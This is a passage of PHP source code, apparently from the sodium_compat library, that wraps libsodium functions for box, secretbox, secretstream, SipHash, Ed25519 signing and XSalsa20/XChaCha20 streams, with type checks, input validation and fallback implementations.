self::CRYPTO_BOX_PUBLICKEYBYTES))) { throw new SodiumException('Zero public key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey); } /** * Calculate an X25519 public key from an X25519 secret key. * * @param string $secretKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function crypto_scalarmult_base( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult_base($secretKey); } if (self::use_fallback('crypto_scalarmult_base')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey); } if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey); } return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey); } /** * Authenticated symmetric-key encryption. * * Algorithm: XSalsa20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox( #[\SensitiveParameter] $plaintext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_secretbox($plaintext, $nonce, $key); } if (self::use_fallback('crypto_secretbox')) { return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_secretbox_open($ciphertext, $nonce, $key); } if (self::use_fallback('crypto_secretbox_open')) { return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key); } /** * Return a secure random key for use with crypto_secretbox * * @return string * @throws Exception * @throws Error */ public static function crypto_secretbox_keygen() { return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES); } /** * Authenticated symmetric-key encryption. * * Algorithm: XChaCha20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key); } /** * @param string $header * @param string $key * @return string Returns a state. * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) { throw new SodiumException( 'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes' ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $msg, $aad = '', $tag = 0 ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } /** * @param string $state * @param string $msg * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $msg, $aad = '' ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } /** * @return string * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_keygen() { return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES); } /** * @param string $state * @return void * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state); } else { ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state); } } /** * Calculates a SipHash-2-4 hash of a message for a given key. * * @param string $message Input message * @param string $key SipHash-2-4 key * @return string Hash * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_shorthash( $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_shorthash($message, $key); } if (self::use_fallback('crypto_shorthash')) { return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key); } return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key); } /** * Return a secure random key for use with crypto_shorthash * * @return string * @throws Exception * @throws Error */ public static function crypto_shorthash_keygen() { return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES); } /** * Returns a signed message. You probably want crypto_sign_detached() * instead, which only returns the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed. * @param string $secretKey Secret signing key. * @return string Signed message (signature is prefixed). * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign( $message, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign($message, $secretKey); } if (self::use_fallback('crypto_sign')) { return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign($message, $secretKey); } /** * Validates a signed message then returns the message. * * @param string $signedMessage A signed message * @param string $publicKey A public key * @return string The original message (if the signature is * valid for this public key) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign_open( $signedMessage, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_sign_open($signedMessage, $publicKey); } if (self::use_fallback('crypto_sign_open')) { return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey); } return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey); } /** * Generate a new random Ed25519 keypair. * * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_sign_keypair() { if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair(); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::keypair(); } return ParagonIE_Sodium_Core_Ed25519::keypair(); } /** * @param string $sk * @param string $pk * @return string * @throws SodiumException */ public static function crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $sk, $pk ) { ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); $sk = (string) $sk; $pk = (string) $pk; if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk); } return $sk . $pk; } /** * Generate an Ed25519 keypair from a seed. * * @param string $seed Input seed * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return sodium_crypto_sign_seed_keypair($seed); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed); } $publicKey = ''; $secretKey = ''; if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } else { ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } return $secretKey . $publicKey; } /** * Extract an Ed25519 public key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey($keypair); } if (self::use_fallback('crypto_sign_publickey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair); } return ParagonIE_Sodium_Core_Ed25519::publickey($keypair); } /** * Calculate an Ed25519 public key from an Ed25519 secret key. * * @param string $secretKey Your Ed25519 secret key * @return string The corresponding Ed25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_sign_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey); } /** * Extract an Ed25519 secret key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_secretkey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_secretkey($keypair); } if (self::use_fallback('crypto_sign_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair); } return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair); } /** * Calculate the Ed25519 signature of a message and return ONLY the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed * @param string $secretKey Secret signing key * @return string Digital signature * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_detached( $message, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_detached($message, $secretKey); } if (self::use_fallback('crypto_sign_detached')) { return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey); } /** * Verify the Ed25519 signature of a message. * * @param string $signature Digital sginature * @param string $message Message to be verified * @param string $publicKey Public key * @return bool TRUE if this signature is good for this public key; * FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_verify_detached($signature, $message, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_verify_detached($signature, $message, $publicKey); } if (self::use_fallback('crypto_sign_verify_detached')) { return (bool) call_user_func( '\\Sodium\\crypto_sign_verify_detached', $signature, $message, $publicKey ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey); } return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey); } /** * Convert an Ed25519 public key to a Curve25519 public key * * @param string $pk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_pk_to_curve25519($pk) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) { return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk); } } if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk); } return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk); } /** * Convert an Ed25519 secret key to a Curve25519 secret key * * @param string $sk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $sk ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) { return sodium_crypto_sign_ed25519_sk_to_curve25519($sk); } } if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk); } $h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true); $h[0] = ParagonIE_Sodium_Core_Util::intToChr( ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248 ); $h[31] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64 ); return ParagonIE_Sodium_Core_Util::substr($h, 0, 32); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XSalsa20 key * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream( $len, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream($len, $nonce, $key); } if (self::use_fallback('crypto_stream')) { return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XSalsa20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream_xor($message, $nonce, $key); } if (self::use_fallback('crypto_stream_xor')) { return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key); } /** * Return a secure random key for use with crypto_stream * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_keygen() { return random_bytes(self::CRYPTO_STREAM_KEYBYTES); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XChaCha20 key * @param bool $dontFallback * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20( $len, $nonce, #[\SensitiveParameter] $key, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20($len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XChaCha20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @param bool $dontFallback * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XChaCha20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param int $counter * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @param bool $dontFallback * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20_xor_ic( #[\SensitiveParameter] $message, $nonce, $counter, #[\SensitiveParameter] $key, 